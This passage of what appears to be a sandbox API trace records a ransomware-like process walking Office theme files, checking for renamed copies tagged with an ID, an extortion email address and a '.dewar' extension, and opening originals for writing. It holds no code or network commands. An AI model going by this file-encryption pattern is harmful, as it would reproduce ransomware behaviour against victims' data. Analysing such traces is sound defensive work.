Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.554] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=49133) returned 1 [0242.554] CloseHandle (hObject=0xe0) returned 1 [0242.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm")) returned 0x20 [0242.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm")) returned 0x20 [0242.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.555] SetEvent (hEvent=0x118) returned 1 [0242.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.561] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=578) returned 1 [0242.561] CloseHandle (hObject=0xe0) returned 1 [0242.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf")) returned 0x20 [0242.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf")) returned 0x20 [0242.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.562] SetEvent (hEvent=0x118) returned 1 [0242.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.563] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=18380) returned 1 [0242.563] CloseHandle (hObject=0xe0) returned 1 [0242.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0242.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0242.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.565] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4991) returned 1 [0242.565] CloseHandle (hObject=0xe0) returned 1 [0242.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0242.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0242.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.840] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=106004) returned 1 [0242.840] CloseHandle (hObject=0x1e0) returned 1 [0242.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm")) returned 0x20 [0242.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm")) returned 0x20 [0242.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.841] SetEvent (hEvent=0x118) returned 1 [0242.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.843] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=44302) returned 1 [0242.843] CloseHandle (hObject=0x1e0) returned 1 [0242.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0242.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0242.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.847] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=7276) returned 1 [0242.847] CloseHandle (hObject=0x1e0) returned 1 [0242.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf")) returned 0x20 [0242.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf")) returned 0x20 [0242.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.849] SetEvent (hEvent=0x118) returned 1 [0242.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.858] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2668) returned 1 [0242.858] CloseHandle (hObject=0x1e0) returned 1 [0242.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0242.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0242.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.860] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=42453) returned 1 [0242.861] CloseHandle (hObject=0x1e0) returned 1 [0242.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0242.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0242.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.865] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=65996) returned 1 [0242.866] CloseHandle (hObject=0x1e0) returned 1 [0242.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm")) returned 0x20 [0242.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm")) returned 0x20 [0242.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.867] SetEvent (hEvent=0x118) returned 1 [0242.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.874] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=417) returned 1 [0242.874] CloseHandle (hObject=0x1e0) returned 1 [0242.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf")) returned 0x20 [0242.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf")) returned 0x20 [0242.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.876] SetEvent (hEvent=0x118) returned 1 [0242.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.880] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1571) returned 1 [0242.880] CloseHandle (hObject=0x1e0) returned 1 [0242.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0242.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0242.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.881] SetEvent (hEvent=0x118) returned 1 [0242.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.897] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=30170) returned 1 [0242.898] CloseHandle (hObject=0x1e0) returned 1 [0242.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0242.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0242.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.899] SetEvent (hEvent=0x118) returned 1 [0242.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.900] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=49094) returned 1 [0242.900] CloseHandle (hObject=0x1e0) returned 1 [0242.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm")) returned 0x20 [0242.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm")) returned 0x20 [0242.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.050] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=683) returned 1 [0243.050] CloseHandle (hObject=0x1e0) returned 1 [0243.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf")) returned 0x20 [0243.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf")) returned 0x20 [0243.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), 